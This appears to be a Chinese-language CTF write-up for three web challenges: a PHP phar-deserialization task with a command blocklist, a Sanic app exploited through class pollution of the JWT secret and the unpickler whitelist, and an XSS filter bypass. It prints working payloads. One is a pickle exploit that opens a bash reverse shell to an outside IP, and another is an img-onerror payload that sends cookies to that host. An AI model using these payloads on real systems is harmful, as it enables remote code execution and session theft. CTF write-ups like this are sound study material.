capoo
有读写文件的功能，file_get_content可以触发phar反序列化
<?php
class CapooObj {
public function __wakeup()
{
$action = $this->action;
$action = str_replace("\"", "", $action);
$action = str_replace("\'", "", $action);
$banlist = "/(flag|php|base|cat|more|less|head|tac|nl|od|vi|sort|uniq|file|echo|xxd|print|curl|nc|dd|zip|tar|lzma|mv|www|\~|\`|\r|\n|\t|\ |\^|ls|\.|tail|watch|wget|\||\;|\:|\(|\)|\{|\}|\*|\?|\[|\]|\@|\\|\=|\<)/i";
if(preg_match($banlist, $action)){
die("Not Allowed!");
}
system($this->action);
}
}
header("Content-type:text/html;charset=utf-8");
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['capoo'])) {
$file = $_POST['capoo'];
if (file_exists($file)) {
$data = file_get_contents($file);
$base64 = base64_encode($data);
} else if (substr($file, 0, strlen("http://")) === "http://") {
$data = file_get_contents($_POST['capoo'] . "/capoo.gif");
if (strpos($data, "PILER") !== false) {
die("Capoo piler not allowed!");
}
file_put_contents("capoo_img/capoo.gif", $data);
die("Download Capoo OK");
} else {
die('Capoo does not exist.');
}
} else {
die('No capoo provided.');
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Display Capoo</title>
</head>
<body>
<img style='display:block; width:100px;height:100px;' id='base64image'
src='data:image/gif;base64, <?php echo $base64;?>' />
</body>
</html>先从远程下载我们的恶意phar然后触发__wakeup执行命令
用转义绕过waf，然后写baes64编码的命令到一个无后缀的文本文件里，最后bash就反弹shell。
ez_picker
源代码：
from sanic import Sanic
from sanic.response import json,file as file_,text,redirect
from sanic_cors import CORS
from key import secret_key
import os
import pickle
import time
import jwt
import io
import builtins
app = Sanic("App")
pickle_file = "data.pkl"
my_object = {}
users = []
safe_modules = {
'math',
'datetime',
'json',
'collections',
}
safe_names = {
'sqrt', 'pow', 'sin', 'cos', 'tan',
'date', 'datetime', 'timedelta', 'timezone',
'loads', 'dumps',
'namedtuple', 'deque', 'Counter', 'defaultdict'
}
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module in safe_modules and name in safe_names:
return getattr(builtins, name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name))
def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
CORS(app, supports_credentials=True, origins=["http://localhost:8000", "http://127.0.0.1:8000"])
class User:
def __init__(self,username,password):
self.username=username
self.password=password
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
def token_required(func):
async def wrapper(request, *args, **kwargs):
token = request.cookies.get("token")
if not token:
return redirect('/login')
try:
result=jwt.decode(token, str(secret_key), algorithms=['HS256'], options={"verify_signature": True})
except jwt.ExpiredSignatureError:
return json({"status": "fail", "message": "Token expired"}, status=401)
except jwt.InvalidTokenError:
return json({"status": "fail", "message": "Invalid token"}, status=401)
print(result)
if result["role"]!="admin":
return json({"status": "fail", "message": "Permission Denied"}, status=401)
return await func(request, *args, **kwargs)
return wrapper
@app.route('/', methods=["GET"])
def file_reader(request):
file = "app.py"
with open(file, 'r') as f:
content = f.read()
return text(content)
@app.route('/upload', methods=["GET","POST"])
@token_required
async def upload(request):
if request.method=="GET":
return await file_('templates/upload.html')
if not request.files:
return text("No file provided", status=400)
file = request.files.get('file')
file_object = file[0] if isinstance(file, list) else file
try:
new_data = restricted_loads(file_object.body)
try:
my_object.update(new_data)
except:
return json({"status": "success", "message": "Pickle object loaded but not updated"})
with open(pickle_file, "wb") as f:
pickle.dump(my_object, f)
return json({"status": "success", "message": "Pickle object updated"})
except pickle.UnpicklingError:
return text("Dangerous pickle file", status=400)
@app.route('/register', methods=['GET','POST'])
async def register(request):
if request.method=='GET':
return await file_('templates/register.html')
if request.json:
NewUser=User("username","password")
merge(request.json, NewUser)
users.append(NewUser)
else:
return json({"status": "fail", "message": "Invalid request"}, status=400)
return json({"status": "success", "message": "Register Success!","redirect": "/login"})
@app.route('/login', methods=['GET','POST'])
async def login(request):
if request.method=='GET':
return await file_('templates/login.html')
if request.json:
username = request.json.get("username")
password = request.json.get("password")
if not username or not password:
return json({"status": "fail", "message": "Username or password missing"}, status=400)
user = next((u for u in users if u.username == username), None)
if user:
if user.password == password:
data={"user":username,"role":"guest"}
data['exp'] = int(time.time()) + 60 *5
token = jwt.encode(data, str(secret_key), algorithm='HS256')
response = json({"status": "success", "redirect": "/upload"})
response.cookies["token"]=token
response.headers['Access-Control-Allow-Origin'] = request.headers.get('origin')
return response
else:
return json({"status": "fail", "message": "Invalid password"}, status=400)
else:
return json({"status": "fail", "message": "User not found"}, status=404)
return json({"status": "fail", "message": "Invalid request"}, status=400)
if __name__ == '__main__':
app.run(host="0.0.0.0", port=8000)很明显有两个点，一个是merge的原型链污染，一个是pickle的反序列化，这个要成功admin
调试知道User.__init__.__globals__.__getitem__('secret_key')能够获取到secret_key，其实和ciscn2024华东南半决的那道原型链污染差不多
所以我们发包
{"__class__":{"__init__":{"__globals__":{"secret_key":"aaa"}}}}成功污染
注册一个用户aa，然后用jwt.io在线网站改role为admin，key是我们之前污染的aaa
成功访问/upload
这里虽然有白名单，但是我们可以直接污染进恶意类和方法
{"__class__":{"__init__":{"__globals__":{"safe_modules":["math","datetime","json","collections","builtins"
],"safe_names":["sqrt","pow","sin","cos","tan","date","datetime","timedelta","timezone","loads","dumps","namedtuple","deque","Counter","defaultdict","eval"]}}}}
from sanic import Sanic
from sanic.response import json,file as file_,text,redirect
from sanic_cors import CORS
from app import my_object
from key import secret_key
import os
import pickle
import time
import jwt
import io
import builtins
class A():
def __reduce__(self):
return (eval, ('''__import__('os').system("/bin/bash -c '/bin/bash -i >& /dev/tcp/124.221.19.214/2333 0>&1'")''',))
safe_modules = {
'math',
'datetime',
'json',
'collections',
'builtins'
}
safe_names = {
'sqrt', 'pow', 'sin', 'cos', 'tan',
'date', 'datetime', 'timedelta', 'timezone',
'loads', 'dumps',
'namedtuple', 'deque', 'Counter', 'defaultdict','eval'
}
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module in safe_modules and name in safe_names:
return getattr(builtins, name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name))
def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
# new_data = restricted_loads("")
my_object=A()
pickle_file = "test.pkl"
with open(pickle_file, "wb") as f:
pickle.dump(my_object,f)
f.close()
# with open(pickle_file, "rb") as f:
# restricted_loads(f.read())
# f.close()
生成一个恶意pkl文件上传
成功反弹shell
Spreader
过滤了onerror=""，但是直接写就可以了。
<img src="invalid.jpg" onerror=document.location='http://124.221.19.214:1314?cookie'+document.cookie />窃取两次cookie成为admin
最后访问/flag